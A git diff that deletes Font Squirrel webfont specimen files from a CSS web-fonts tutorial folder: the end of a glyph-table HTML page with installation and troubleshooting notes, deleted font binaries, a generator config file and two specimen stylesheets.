-                                <div>
-                                    <p>&amp;#77;</p>
-                                    &#77;
-                                </div>
-                                <div>
-                                    <p>&amp;#78;</p>
-                                    &#78;
-                                </div>
-                                <div>
-                                    <p>&amp;#79;</p>
-                                    &#79;
-                                </div>
-                                <div>
-                                    <p>&amp;#80;</p>
-                                    &#80;
-                                </div>
-                                <div>
-                                    <p>&amp;#81;</p>
-                                    &#81;
-                                </div>
-                                <div>
-                                    <p>&amp;#82;</p>
-                                    &#82;
-                                </div>
-                                <div>
-                                    <p>&amp;#83;</p>
-                                    &#83;
-                                </div>
-                                <div>
-                                    <p>&amp;#84;</p>
-                                    &#84;
-                                </div>
-                                <div>
-                                    <p>&amp;#85;</p>
-                                    &#85;
-                                </div>
-                                <div>
-                                    <p>&amp;#86;</p>
-                                    &#86;
-                                </div>
-                                <div>
-                                    <p>&amp;#87;</p>
-                                    &#87;
-                                </div>
-                                <div>
-                                    <p>&amp;#88;</p>
-                                    &#88;
-                                </div>
-                                <div>
-                                    <p>&amp;#89;</p>
-                                    &#89;
-                                </div>
-                                <div>
-                                    <p>&amp;#90;</p>
-                                    &#90;
-                                </div>
-                                <div>
-                                    <p>&amp;#91;</p>
-                                    &#91;
-                                </div>
-                                <div>
-                                    <p>&amp;#92;</p>
-                                    &#92;
-                                </div>
-                                <div>
-                                    <p>&amp;#93;</p>
-                                    &#93;
-                                </div>
-                                <div>
-                                    <p>&amp;#94;</p>
-                                    &#94;
-                                </div>
-                                <div>
-                                    <p>&amp;#95;</p>
-                                    &#95;
-                                </div>
-                                <div>
-                                    <p>&amp;#96;</p>
-                                    &#96;
-                                </div>
-                                <div>
-                                    <p>&amp;#97;</p>
-                                    &#97;
-                                </div>
-                                <div>
-                                    <p>&amp;#98;</p>
-                                    &#98;
-                                </div>
-                                <div>
-                                    <p>&amp;#99;</p>
-                                    &#99;
-                                </div>
-                                <div>
-                                    <p>&amp;#100;</p>
-                                    &#100;
-                                </div>
-                                <div>
-                                    <p>&amp;#101;</p>
-                                    &#101;
-                                </div>
-                                <div>
-                                    <p>&amp;#102;</p>
-                                    &#102;
-                                </div>
-                                <div>
-                                    <p>&amp;#103;</p>
-                                    &#103;
-                                </div>
-                                <div>
-                                    <p>&amp;#104;</p>
-                                    &#104;
-                                </div>
-                                <div>
-                                    <p>&amp;#105;</p>
-                                    &#105;
-                                </div>
-                                <div>
-                                    <p>&amp;#106;</p>
-                                    &#106;
-                                </div>
-                                <div>
-                                    <p>&amp;#107;</p>
-                                    &#107;
-                                </div>
-                                <div>
-                                    <p>&amp;#108;</p>
-                                    &#108;
-                                </div>
-                                <div>
-                                    <p>&amp;#109;</p>
-                                    &#109;
-                                </div>
-                                <div>
-                                    <p>&amp;#110;</p>
-                                    &#110;
-                                </div>
-                                <div>
-                                    <p>&amp;#111;</p>
-                                    &#111;
-                                </div>
-                                <div>
-                                    <p>&amp;#112;</p>
-                                    &#112;
-                                </div>
-                                <div>
-                                    <p>&amp;#113;</p>
-                                    &#113;
-                                </div>
-                                <div>
-                                    <p>&amp;#114;</p>
-                                    &#114;
-                                </div>
-                                <div>
-                                    <p>&amp;#115;</p>
-                                    &#115;
-                                </div>
-                                <div>
-                                    <p>&amp;#116;</p>
-                                    &#116;
-                                </div>
-                                <div>
-                                    <p>&amp;#117;</p>
-                                    &#117;
-                                </div>
-                                <div>
-                                    <p>&amp;#118;</p>
-                                    &#118;
-                                </div>
-                                <div>
-                                    <p>&amp;#119;</p>
-                                    &#119;
-                                </div>
-                                <div>
-                                    <p>&amp;#120;</p>
-                                    &#120;
-                                </div>
-                                <div>
-                                    <p>&amp;#121;</p>
-                                    &#121;
-                                </div>
-                                <div>
-                                    <p>&amp;#122;</p>
-                                    &#122;
-                                </div>
-                                <div>
-                                    <p>&amp;#123;</p>
-                                    &#123;
-                                </div>
-                                <div>
-                                    <p>&amp;#124;</p>
-                                    &#124;
-                                </div>
-                                <div>
-                                    <p>&amp;#125;</p>
-                                    &#125;
-                                </div>
-                                <div>
-                                    <p>&amp;#126;</p>
-                                    &#126;
-                                </div>
-                                <div>
-                                    <p>&amp;#160;</p>
-                                    &#160;
-                                </div>
-                                <div>
-                                    <p>&amp;#161;</p>
-                                    &#161;
-                                </div>
-                                <div>
-                                    <p>&amp;#162;</p>
-                                    &#162;
-                                </div>
-                                <div>
-                                    <p>&amp;#163;</p>
-                                    &#163;
-                                </div>
-                                <div>
-                                    <p>&amp;#165;</p>
-                                    &#165;
-                                </div>
-                                <div>
-                                    <p>&amp;#166;</p>
-                                    &#166;
-                                </div>
-                                <div>
-                                    <p>&amp;#167;</p>
-                                    &#167;
-                                </div>
-                                <div>
-                                    <p>&amp;#168;</p>
-                                    &#168;
-                                </div>
-                                <div>
-                                    <p>&amp;#170;</p>
-                                    &#170;
-                                </div>
-                                <div>
-                                    <p>&amp;#171;</p>
-                                    &#171;
-                                </div>
-                                <div>
-                                    <p>&amp;#172;</p>
-                                    &#172;
-                                </div>
-                                <div>
-                                    <p>&amp;#173;</p>
-                                    &#173;
-                                </div>
-                                <div>
-                                    <p>&amp;#176;</p>
-                                    &#176;
-                                </div>
-                                <div>
-                                    <p>&amp;#177;</p>
-                                    &#177;
-                                </div>
-                                <div>
-                                    <p>&amp;#178;</p>
-                                    &#178;
-                                </div>
-                                <div>
-                                    <p>&amp;#179;</p>
-                                    &#179;
-                                </div>
-                                <div>
-                                    <p>&amp;#180;</p>
-                                    &#180;
-                                </div>
-                                <div>
-                                    <p>&amp;#182;</p>
-                                    &#182;
-                                </div>
-                                <div>
-                                    <p>&amp;#183;</p>
-                                    &#183;
-                                </div>
-                                <div>
-                                    <p>&amp;#185;</p>
-                                    &#185;
-                                </div>
-                                <div>
-                                    <p>&amp;#186;</p>
-                                    &#186;
-                                </div>
-                                <div>
-                                    <p>&amp;#187;</p>
-                                    &#187;
-                                </div>
-                                <div>
-                                    <p>&amp;#188;</p>
-                                    &#188;
-                                </div>
-                                <div>
-                                    <p>&amp;#189;</p>
-                                    &#189;
-                                </div>
-                                <div>
-                                    <p>&amp;#190;</p>
-                                    &#190;
-                                </div>
-                                <div>
-                                    <p>&amp;#191;</p>
-                                    &#191;
-                                </div>
-                                <div>
-                                    <p>&amp;#192;</p>
-                                    &#192;
-                                </div>
-                                <div>
-                                    <p>&amp;#193;</p>
-                                    &#193;
-                                </div>
-                                <div>
-                                    <p>&amp;#194;</p>
-                                    &#194;
-                                </div>
-                                <div>
-                                    <p>&amp;#195;</p>
-                                    &#195;
-                                </div>
-                                <div>
-                                    <p>&amp;#196;</p>
-                                    &#196;
-                                </div>
-                                <div>
-                                    <p>&amp;#198;</p>
-                                    &#198;
-                                </div>
-                                <div>
-                                    <p>&amp;#199;</p>
-                                    &#199;
-                                </div>
-                                <div>
-                                    <p>&amp;#200;</p>
-                                    &#200;
-                                </div>
-                                <div>
-                                    <p>&amp;#201;</p>
-                                    &#201;
-                                </div>
-                                <div>
-                                    <p>&amp;#203;</p>
-                                    &#203;
-                                </div>
-                                <div>
-                                    <p>&amp;#204;</p>
-                                    &#204;
-                                </div>
-                                <div>
-                                    <p>&amp;#205;</p>
-                                    &#205;
-                                </div>
-                                <div>
-                                    <p>&amp;#206;</p>
-                                    &#206;
-                                </div>
-                                <div>
-                                    <p>&amp;#207;</p>
-                                    &#207;
-                                </div>
-                                <div>
-                                    <p>&amp;#208;</p>
-                                    &#208;
-                                </div>
-                                <div>
-                                    <p>&amp;#209;</p>
-                                    &#209;
-                                </div>
-                                <div>
-                                    <p>&amp;#210;</p>
-                                    &#210;
-                                </div>
-                                <div>
-                                    <p>&amp;#211;</p>
-                                    &#211;
-                                </div>
-                                <div>
-                                    <p>&amp;#213;</p>
-                                    &#213;
-                                </div>
-                                <div>
-                                    <p>&amp;#214;</p>
-                                    &#214;
-                                </div>
-                                <div>
-                                    <p>&amp;#215;</p>
-                                    &#215;
-                                </div>
-                                <div>
-                                    <p>&amp;#216;</p>
-                                    &#216;
-                                </div>
-                                <div>
-                                    <p>&amp;#217;</p>
-                                    &#217;
-                                </div>
-                                <div>
-                                    <p>&amp;#218;</p>
-                                    &#218;
-                                </div>
-                                <div>
-                                    <p>&amp;#220;</p>
-                                    &#220;
-                                </div>
-                                <div>
-                                    <p>&amp;#221;</p>
-                                    &#221;
-                                </div>
-                                <div>
-                                    <p>&amp;#222;</p>
-                                    &#222;
-                                </div>
-                                <div>
-                                    <p>&amp;#223;</p>
-                                    &#223;
-                                </div>
-                                <div>
-                                    <p>&amp;#224;</p>
-                                    &#224;
-                                </div>
-                                <div>
-                                    <p>&amp;#225;</p>
-                                    &#225;
-                                </div>
-                                <div>
-                                    <p>&amp;#226;</p>
-                                    &#226;
-                                </div>
-                                <div>
-                                    <p>&amp;#227;</p>
-                                    &#227;
-                                </div>
-                                <div>
-                                    <p>&amp;#228;</p>
-                                    &#228;
-                                </div>
-                                <div>
-                                    <p>&amp;#230;</p>
-                                    &#230;
-                                </div>
-                                <div>
-                                    <p>&amp;#231;</p>
-                                    &#231;
-                                </div>
-                                <div>
-                                    <p>&amp;#232;</p>
-                                    &#232;
-                                </div>
-                                <div>
-                                    <p>&amp;#233;</p>
-                                    &#233;
-                                </div>
-                                <div>
-                                    <p>&amp;#234;</p>
-                                    &#234;
-                                </div>
-                                <div>
-                                    <p>&amp;#235;</p>
-                                    &#235;
-                                </div>
-                                <div>
-                                    <p>&amp;#236;</p>
-                                    &#236;
-                                </div>
-                                <div>
-                                    <p>&amp;#237;</p>
-                                    &#237;
-                                </div>
-                                <div>
-                                    <p>&amp;#238;</p>
-                                    &#238;
-                                </div>
-                                <div>
-                                    <p>&amp;#239;</p>
-                                    &#239;
-                                </div>
-                                <div>
-                                    <p>&amp;#240;</p>
-                                    &#240;
-                                </div>
-                                <div>
-                                    <p>&amp;#241;</p>
-                                    &#241;
-                                </div>
-                                <div>
-                                    <p>&amp;#242;</p>
-                                    &#242;
-                                </div>
-                                <div>
-                                    <p>&amp;#243;</p>
-                                    &#243;
-                                </div>
-                                <div>
-                                    <p>&amp;#244;</p>
-                                    &#244;
-                                </div>
-                                <div>
-                                    <p>&amp;#245;</p>
-                                    &#245;
-                                </div>
-                                <div>
-                                    <p>&amp;#246;</p>
-                                    &#246;
-                                </div>
-                                <div>
-                                    <p>&amp;#247;</p>
-                                    &#247;
-                                </div>
-                                <div>
-                                    <p>&amp;#248;</p>
-                                    &#248;
-                                </div>
-                                <div>
-                                    <p>&amp;#249;</p>
-                                    &#249;
-                                </div>
-                                <div>
-                                    <p>&amp;#250;</p>
-                                    &#250;
-                                </div>
-                                <div>
-                                    <p>&amp;#251;</p>
-                                    &#251;
-                                </div>
-                                <div>
-                                    <p>&amp;#252;</p>
-                                    &#252;
-                                </div>
-                                <div>
-                                    <p>&amp;#253;</p>
-                                    &#253;
-                                </div>
-                                <div>
-                                    <p>&amp;#254;</p>
-                                    &#254;
-                                </div>
-                                <div>
-                                    <p>&amp;#255;</p>
-                                    &#255;
-                                </div>
-                                <div>
-                                    <p>&amp;#338;</p>
-                                    &#338;
-                                </div>
-                                <div>
-                                    <p>&amp;#339;</p>
-                                    &#339;
-                                </div>
-                                <div>
-                                    <p>&amp;#376;</p>
-                                    &#376;
-                                </div>
-                                <div>
-                                    <p>&amp;#710;</p>
-                                    &#710;
-                                </div>
-                                <div>
-                                    <p>&amp;#732;</p>
-                                    &#732;
-                                </div>
-                                <div>
-                                    <p>&amp;#8192;</p>
-                                    &#8192;
-                                </div>
-                                <div>
-                                    <p>&amp;#8193;</p>
-                                    &#8193;
-                                </div>
-                                <div>
-                                    <p>&amp;#8194;</p>
-                                    &#8194;
-                                </div>
-                                <div>
-                                    <p>&amp;#8195;</p>
-                                    &#8195;
-                                </div>
-                                <div>
-                                    <p>&amp;#8196;</p>
-                                    &#8196;
-                                </div>
-                                <div>
-                                    <p>&amp;#8197;</p>
-                                    &#8197;
-                                </div>
-                                <div>
-                                    <p>&amp;#8198;</p>
-                                    &#8198;
-                                </div>
-                                <div>
-                                    <p>&amp;#8199;</p>
-                                    &#8199;
-                                </div>
-                                <div>
-                                    <p>&amp;#8200;</p>
-                                    &#8200;
-                                </div>
-                                <div>
-                                    <p>&amp;#8201;</p>
-                                    &#8201;
-                                </div>
-                                <div>
-                                    <p>&amp;#8202;</p>
-                                    &#8202;
-                                </div>
-                                <div>
-                                    <p>&amp;#8208;</p>
-                                    &#8208;
-                                </div>
-                                <div>
-                                    <p>&amp;#8209;</p>
-                                    &#8209;
-                                </div>
-                                <div>
-                                    <p>&amp;#8210;</p>
-                                    &#8210;
-                                </div>
-                                <div>
-                                    <p>&amp;#8211;</p>
-                                    &#8211;
-                                </div>
-                                <div>
-                                    <p>&amp;#8212;</p>
-                                    &#8212;
-                                </div>
-                                <div>
-                                    <p>&amp;#8216;</p>
-                                    &#8216;
-                                </div>
-                                <div>
-                                    <p>&amp;#8217;</p>
-                                    &#8217;
-                                </div>
-                                <div>
-                                    <p>&amp;#8218;</p>
-                                    &#8218;
-                                </div>
-                                <div>
-                                    <p>&amp;#8220;</p>
-                                    &#8220;
-                                </div>
-                                <div>
-                                    <p>&amp;#8221;</p>
-                                    &#8221;
-                                </div>
-                                <div>
-                                    <p>&amp;#8222;</p>
-                                    &#8222;
-                                </div>
-                                <div>
-                                    <p>&amp;#8226;</p>
-                                    &#8226;
-                                </div>
-                                <div>
-                                    <p>&amp;#8230;</p>
-                                    &#8230;
-                                </div>
-                                <div>
-                                    <p>&amp;#8239;</p>
-                                    &#8239;
-                                </div>
-                                <div>
-                                    <p>&amp;#8249;</p>
-                                    &#8249;
-                                </div>
-                                <div>
-                                    <p>&amp;#8250;</p>
-                                    &#8250;
-                                </div>
-                                <div>
-                                    <p>&amp;#8287;</p>
-                                    &#8287;
-                                </div>
-                                <div>
-                                    <p>&amp;#8364;</p>
-                                    &#8364;
-                                </div>
-                                <div>
-                                    <p>&amp;#8482;</p>
-                                    &#8482;
-                                </div>
-                                <div>
-                                    <p>&amp;#9724;</p>
-                                    &#9724;
-                                </div>
-                                <div>
-                                    <p>&amp;#64257;</p>
-                                    &#64257;
-                                </div>
-                                <div>
-                                    <p>&amp;#64258;</p>
-                                    &#64258;
-                                </div>
-                            </div>
-                        </div>
-                    </div>
-                </div>
-
-                <div id="specs"></div>
-
-                <div id="installing">
-                    <div class="section">
-                        <div class="grid7 firstcol">
-                            <h1>Installing Webfonts</h1>
-
-                            <p>
-                                Webfonts are supported by all major browser platforms but not all in the same way. There are currently four different font
-                                formats that must be included in order to target all browsers. This includes TTF, WOFF, EOT and SVG.
-                            </p>
-
-                            <h2>1. Upload your webfonts</h2>
-                            <p>You must upload your webfont kit to your website. They should be in or near the same directory as your CSS files.</p>
-
-                            <h2>2. Include the webfont stylesheet</h2>
-                            <p>
-                                A special CSS @font-face declaration helps the various browsers select the appropriate font it needs without causing you a bunch
-                                of headaches. Learn more about this syntax by reading the
-                                <a href="https://www.fontspring.com/blog/further-hardening-of-the-bulletproof-syntax">Fontspring blog post</a> about it. The
-                                code for it is as follows:
-                            </p>
-
-                            <code>
-                                @font-face{ font-family: 'MyWebFont'; src: url('WebFont.eot'); src: url('WebFont.eot?#iefix') format('embedded-opentype'),
-                                url('WebFont.woff') format('woff'), url('WebFont.ttf') format('truetype'), url('WebFont.svg#webfont') format('svg'); }
-                            </code>
-
-                            <p>
-                                We've already gone ahead and generated the code for you. All you have to do is link to the stylesheet in your HTML, like this:
-                            </p>
-                            <code
-                                >&lt;link rel=&quot;stylesheet&quot; href=&quot;stylesheet.css&quot; type=&quot;text/css&quot; charset=&quot;utf-8&quot;
-                                /&gt;</code
-                            >
-
-                            <h2>3. Modify your own stylesheet</h2>
-                            <p>
-                                To take advantage of your new fonts, you must tell your stylesheet to use them. Look at the original @font-face declaration
-                                above and find the property called "font-family." The name linked there will be what you use to reference the font. Prepend that
-                                webfont name to the font stack in the "font-family" property, inside the selector you want to change. For example:
-                            </p>
-                            <code>p { font-family: 'WebFont', Arial, sans-serif; }</code>
-
-                            <h2>4. Test</h2>
-                            <p>
-                                Getting webfonts to work cross-browser <em>can</em> be tricky. Use the information in the sidebar to help you if you find that
-                                fonts aren't loading in a particular browser.
-                            </p>
-                        </div>
-
-                        <div class="grid5 sidebar">
-                            <div class="box">
-                                <h2>Troubleshooting<br />Font-Face Problems</h2>
-                                <p>
-                                    Having trouble getting your webfonts to load in your new website? Here are some tips to sort out what might be the problem.
-                                </p>
-
-                                <h3>Fonts not showing in any browser</h3>
-
-                                <p>
-                                    This sounds like you need to work on the plumbing. You either did not upload the fonts to the correct directory, or you did
-                                    not link the fonts properly in the CSS. If you've confirmed that all this is correct and you still have a problem, take a
-                                    look at your .htaccess file and see if requests are getting intercepted.
-                                </p>
-
-                                <h3>Fonts not loading in iPhone or iPad</h3>
-
-                                <p>
-                                    The most common problem here is that you are serving the fonts from an IIS server. IIS refuses to serve files that have
-                                    unknown MIME types. If that is the case, you must set the MIME type for SVG to "image/svg+xml" in the server settings.
-                                    Follow these instructions from Microsoft if you need help.
-                                </p>
-
-                                <h3>Fonts not loading in Firefox</h3>
-
-                                <p>
-                                    The primary reason for this failure? You are still using a version Firefox older than 3.5. So upgrade already! If that isn't
-                                    it, then you are very likely serving fonts from a different domain. Firefox requires that all font assets be served from the
-                                    same domain. Lastly it is possible that you need to add WOFF to your list of MIME types (if you are serving via IIS.)
-                                </p>
-
-                                <h3>Fonts not loading in IE</h3>
-
-                                <p>
-                                    Are you looking at Internet Explorer on an actual Windows machine or are you cheating by using a service like Adobe
-                                    BrowserLab? Many of these screenshot services do not render @font-face for IE. Best to test it on a real machine.
-                                </p>
-
-                                <h3>Fonts not loading in IE9</h3>
-
-                                <p>IE9, like Firefox, requires that fonts be served from the same domain as the website. Make sure that is the case.</p>
-                            </div>
-                        </div>
-                    </div>
-                </div>
-            </div>
-            <div id="footer">
-                <p>&copy;2010-2011 Font Squirrel. All rights reserved.</p>
-            </div>
-        </div>
-    </body>
-</html>
diff --git a/docs/content/learning-area/css/styling-text/web-fonts/fonts/cicle_fina-webfont.woff b/docs/content/learning-area/css/styling-text/web-fonts/fonts/cicle_fina-webfont.woff
deleted file mode 100644
index 90081aea9b..0000000000
Binary files a/docs/content/learning-area/css/styling-text/web-fonts/fonts/cicle_fina-webfont.woff and /dev/null differ
diff --git a/docs/content/learning-area/css/styling-text/web-fonts/fonts/cicle_fina-webfont.woff2 b/docs/content/learning-area/css/styling-text/web-fonts/fonts/cicle_fina-webfont.woff2
deleted file mode 100644
index c2436161d7..0000000000
Binary files a/docs/content/learning-area/css/styling-text/web-fonts/fonts/cicle_fina-webfont.woff2 and /dev/null differ
diff --git a/docs/content/learning-area/css/styling-text/web-fonts/fonts/generator_config.txt b/docs/content/learning-area/css/styling-text/web-fonts/fonts/generator_config.txt
deleted file mode 100644
index 400764076c..0000000000
--- a/docs/content/learning-area/css/styling-text/web-fonts/fonts/generator_config.txt
+++ /dev/null
@@ -1,5 +0,0 @@
-# Font Squirrel Font-face Generator Configuration File
-# Upload this file to the generator to recreate the settings
-# you used to create these fonts.
-
-{"mode":"optimal","formats":["ttf","woff","woff2","eotz"],"tt_instructor":"default","fix_gasp":"xy","fix_vertical_metrics":"Y","metrics_ascent":"","metrics_descent":"","metrics_linegap":"","add_spaces":"Y","add_hyphens":"Y","fallback":"none","fallback_custom":"100","options_subset":"basic","subset_custom":"","subset_custom_range":"","subset_ot_features_list":"","css_stylesheet":"stylesheet.css","filename_suffix":"-webfont","emsquare":"2048","spacing_adjustment":"0"}
diff --git a/docs/content/learning-area/css/styling-text/web-fonts/fonts/specimen_files/grid_-.css b/docs/content/learning-area/css/styling-text/web-fonts/fonts/specimen_files/grid_-.css
deleted file mode 100644
index 0fb333bf2d..0000000000
--- a/docs/content/learning-area/css/styling-text/web-fonts/fonts/specimen_files/grid_-.css
+++ /dev/null
@@ -1,403 +0,0 @@
-/*Notes about grid:
-Columns:      12
-Grid Width:   825px
-Column Width: 55px
-Gutter Width: 15px
--------------------------------*/
-
-.section {
-    margin-bottom: 18px;
-}
-.section:after {
-    content: '.';
-    display: block;
-    height: 0;
-    clear: both;
-    visibility: hidden;
-}
-.section {
-    *zoom: 1;
-}
-
-.section .firstcolumn,
-.section .firstcol {
-    margin-left: 0;
-}
-
-/* Border on left hand side of a column. */
-.border {
-    padding-left: 7px;
-    margin-left: 7px;
-    border-left: 1px solid #eee;
-}
-
-/* Border with more whitespace, spans one column. */
-.colborder {
-    padding-left: 42px;
-    margin-left: 42px;
-    border-left: 1px solid #eee;
-}
-
-/* The Grid Classes */
-.grid1,
-.grid1_2cols,
-.grid1_3cols,
-.grid1_4cols,
-.grid2,
-.grid2_3cols,
-.grid2_4cols,
-.grid3,
-.grid3_2cols,
-.grid3_4cols,
-.grid4,
-.grid4_3cols,
-.grid5,
-.grid5_2cols,
-.grid5_3cols,
-.grid5_4cols,
-.grid6,
-.grid6_4cols,
-.grid7,
-.grid7_2cols,
-.grid7_3cols,
-.grid7_4cols,
-.grid8,
-.grid8_3cols,
-.grid9,
-.grid9_2cols,
-.grid9_4cols,
-.grid10,
-.grid10_3cols,
-.grid10_4cols,
-.grid11,
-.grid11_2cols,
-.grid11_3cols,
-.grid11_4cols,
-.grid12 {
-    margin-left: 15px;
-    float: left;
-    display: inline;
-    overflow: hidden;
-}
-
-.width1,
-.grid1,
-.span-1 {
-    width: 55px;
-}
-.width1_2cols,
-.grid1_2cols {
-    width: 20px;
-}
-.width1_3cols,
-.grid1_3cols {
-    width: 8px;
-}
-.width1_4cols,
-.grid1_4cols {
-    width: 2px;
-}
-.input_width1 {
-    width: 49px;
-}
-
-.width2,
-.grid2,
-.span-2 {
-    width: 125px;
-}
-.width2_3cols,
-.grid2_3cols {
-    width: 31px;
-}
-.width2_4cols,
-.grid2_4cols {
-    width: 20px;
-}
-.input_width2 {
-    width: 119px;
-}
-
-.width3,
-.grid3,
-.span-3 {
-    width: 195px;
-}
-.width3_2cols,
-.grid3_2cols {
-    width: 90px;
-}
-.width3_4cols,
-.grid3_4cols {
-    width: 37px;
-}
-.input_width3 {
-    width: 189px;
-}
-
-.width4,
-.grid4,
-.span-4 {
-    width: 265px;
-}
-.width4_3cols,
-.grid4_3cols {
-    width: 78px;
-}
-.input_width4 {
-    width: 259px;
-}
-
-.width5,
-.grid5,
-.span-5 {
-    width: 335px;
-}
-.width5_2cols,
-.grid5_2cols {
-    width: 160px;
-}
-.width5_3cols,
-.grid5_3cols {
-    width: 101px;
-}
-.width5_4cols,
-.grid5_4cols {
-    width: 72px;
-}
-.input_width5 {
-    width: 329px;
-}
-
-.width6,
-.grid6,
-.span-6 {
-    width: 405px;
-}
-.width6_4cols,
-.grid6_4cols {
-    width: 90px;
-}
-.input_width6 {
-    width: 399px;
-}
-
-.width7,
-.grid7,
-.span-7 {
-    width: 475px;
-}
-.width7_2cols,
-.grid7_2cols {
-    width: 230px;
-}
-.width7_3cols,
-.grid7_3cols {
-    width: 148px;
-}
-.width7_4cols,
-.grid7_4cols {
-    width: 107px;
-}
-.input_width7 {
-    width: 469px;
-}
-
-.width8,
-.grid8,
-.span-8 {
-    width: 545px;
-}
-.width8_3cols,
-.grid8_3cols {
-    width: 171px;
-}
-.input_width8 {
-    width: 539px;
-}
-
-.width9,
-.grid9,
-.span-9 {
-    width: 615px;
-}
-.width9_2cols,
-.grid9_2cols {
-    width: 300px;
-}
-.width9_4cols,
-.grid9_4cols {
-    width: 142px;
-}
-.input_width9 {
-    width: 609px;
-}
-
-.width10,
-.grid10,
-.span-10 {
-    width: 685px;
-}
-.width10_3cols,
-.grid10_3cols {
-    width: 218px;
-}
-.width10_4cols,
-.grid10_4cols {
-    width: 160px;
-}
-.input_width10 {
-    width: 679px;
-}
-
-.width11,
-.grid11,
-.span-11 {
-    width: 755px;
-}
-.width11_2cols,
-.grid11_2cols {
-    width: 370px;
-}
-.width11_3cols,
-.grid11_3cols {
-    width: 241px;
-}
-.width11_4cols,
-.grid11_4cols {
-    width: 177px;
-}
-.input_width11 {
-    width: 749px;
-}
-
-.width12,
-.grid12,
-.span-12 {
-    width: 825px;
-}
-.input_width12 {
-    width: 819px;
-}
-
-/* Subdivided grid spaces */
-.emptycols_left1,
-.prepend-1 {
-    padding-left: 70px;
-}
-.emptycols_right1,
-.append-1 {
-    padding-right: 70px;
-}
-.emptycols_left2,
-.prepend-2 {
-    padding-left: 140px;
-}
-.emptycols_right2,
-.append-2 {
-    padding-right: 140px;
-}
-.emptycols_left3,
-.prepend-3 {
-    padding-left: 210px;
-}
-.emptycols_right3,
-.append-3 {
-    padding-right: 210px;
-}
-.emptycols_left4,
-.prepend-4 {
-    padding-left: 280px;
-}
-.emptycols_right4,
-.append-4 {
-    padding-right: 280px;
-}
-.emptycols_left5,
-.prepend-5 {
-    padding-left: 350px;
-}
-.emptycols_right5,
-.append-5 {
-    padding-right: 350px;
-}
-.emptycols_left6,
-.prepend-6 {
-    padding-left: 420px;
-}
-.emptycols_right6,
-.append-6 {
-    padding-right: 420px;
-}
-.emptycols_left7,
-.prepend-7 {
-    padding-left: 490px;
-}
-.emptycols_right7,
-.append-7 {
-    padding-right: 490px;
-}
-.emptycols_left8,
-.prepend-8 {
-    padding-left: 560px;
-}
-.emptycols_right8,
-.append-8 {
-    padding-right: 560px;
-}
-.emptycols_left9,
-.prepend-9 {
-    padding-left: 630px;
-}
-.emptycols_right9,
-.append-9 {
-    padding-right: 630px;
-}
-.emptycols_left10,
-.prepend-10 {
-    padding-left: 700px;
-}
-.emptycols_right10,
-.append-10 {
-    padding-right: 700px;
-}
-.emptycols_left11,
-.prepend-11 {
-    padding-left: 770px;
-}
-.emptycols_right11,
-.append-11 {
-    padding-right: 770px;
-}
-.pull-1 {
-    margin-left: -70px;
-}
-.push-1 {
-    margin-right: -70px;
-    margin-left: 18px;
-    float: right;
-}
-.pull-2 {
-    margin-left: -140px;
-}
-.push-2 {
-    margin-right: -140px;
-    margin-left: 18px;
-    float: right;
-}
-.pull-3 {
-    margin-left: -210px;
-}
-.push-3 {
-    margin-right: -210px;
-    margin-left: 18px;
-    float: right;
-}
-.pull-4 {
-    margin-left: -280px;
-}
-.push-4 {
-    margin-right: -280px;
-    margin-left: 18px;
-    float: right;
-}
diff --git a/docs/content/learning-area/css/styling-text/web-fonts/fonts/specimen_files/specimen_stylesheet.css b/docs/content/learning-area/css/styling-text/web-fonts/fonts/specimen_files/specimen_stylesheet.css
deleted file mode 100644
index 3926678b51..0000000000
--- a/docs/content/learning-area/css/styling-text/web-fonts/fonts/specimen_files/specimen_stylesheet.css
+++ /dev/null
@@ -1,508 +0,0 @@
-@import url('grid_12-825-55-15.css');
-
-/*  
-	CSS Reset by Eric Meyer - Released under Public Domain
-    http://meyerweb.com/eric/tools/css/reset/
-*/
-html,
-body,
-div,
-span,
-applet,
-object,
-iframe,
-h1,
-h2,
-h3,
-h4,
-h5,
-h6,
-p,
-blockquote,
-pre,
-a,
-abbr,
-acronym,
-address,
-big,
-cite,
-code,
-del,
-dfn,
-em,
-font,
-img,
-ins,
-kbd,
-q,
-s,
-samp,
-small,
-strike,
-strong,
-sub,
-sup,
-tt,
-var,
-b,
-u,
-i,
-center,
-dl,
-dt,
-dd,
-ol,
-ul,
-li,
-fieldset,
-form,
-label,
-legend,
-table,
-caption,
-tbody,
-tfoot,
-thead,
-tr,
-th,
-td {
-    margin: 0;
-    padding: 0;
-    border: 0;
-    outline: 0;
-    font-size: 100%;
-    vertical-align: baseline;
-    background: transparent;
-}
-body {
-    line-height: 1;
-}
-ol,
-ul {
-    list-style: none;
-}
-blockquote,
-q {
-    quotes: none;
-}
-blockquote:before,
-blockquote:after,
-q:before,
-q:after {
-    content: '';
-    content: none;
-}
-:focus {
-    outline: 0;
-}
-ins {
-    text-decoration: none;
-}
-del {
-    text-decoration: line-through;
-}
-table {
-    border-collapse: collapse;
-    border-spacing: 0;
-}
-
-body {
-    color: #000;
-    background-color: #dcdcdc;
-}
-
-a {
-    text-decoration: none;
-    color: #1883ba;
-}
-
-h1 {
-    font-size: 32px;
-    font-weight: normal;
-    font-style: normal;
-    margin-bottom: 18px;
-}
-
-h2 {
-    font-size: 18px;
-}
-
-#container {
-    width: 865px;
-    margin: 0px auto;
-}
-
-#header {
-    padding: 20px;
-    font-size: 36px;
-    background-color: #000;
-    color: #fff;
-}
-
-#header span {
-    color: #666;
-}
-#main_content {
-    background-color: #fff;
-    padding: 60px 20px 20px;
-}
-
-#footer p {
-    margin: 0;
-    padding-top: 10px;
-    padding-bottom: 50px;
-    color: #333;
-    font: 10px Arial, sans-serif;
-}
-
-.tabs {
-    width: 100%;
-    height: 31px;
-    background-color: #444;
-}
-.tabs li {
-    float: left;
-    margin: 0;
-    overflow: hidden;
-    background-color: #444;
-}
-.tabs li a {
-    display: block;
-    color: #fff;
-    text-decoration: none;
-    font: bold 11px/11px 'Arial';
-    text-transform: uppercase;
-    padding: 10px 15px;
-    border-right: 1px solid #fff;
-}
-
-.tabs li a:hover {
-    background-color: #00b3ff;
-}
-
-.tabs li.active a {
-    color: #000;
-    background-color: #fff;
-}
-
-div.huge {
-    font-size: 300px;
-    line-height: 1em;
-    padding: 0;
-    letter-spacing: -0.02em;
-    overflow: hidden;
-}
-div.glyph_range {
-    font-size: 72px;
-    line-height: 1.1em;
-}
-
-.size10 {
-    font-size: 10px;
-}
-.size11 {
-    font-size: 11px;
-}
-.size12 {
-    font-size: 12px;
-}
-.size13 {
-    font-size: 13px;
-}
-.size14 {
-    font-size: 14px;
-}
-.size16 {
-    font-size: 16px;
-}
-.size18 {
-    font-size: 18px;
-}
-.size20 {
-    font-size: 20px;
-}
-.size24 {
-    font-size: 24px;
-}
-.size30 {
-    font-size: 30px;
-}
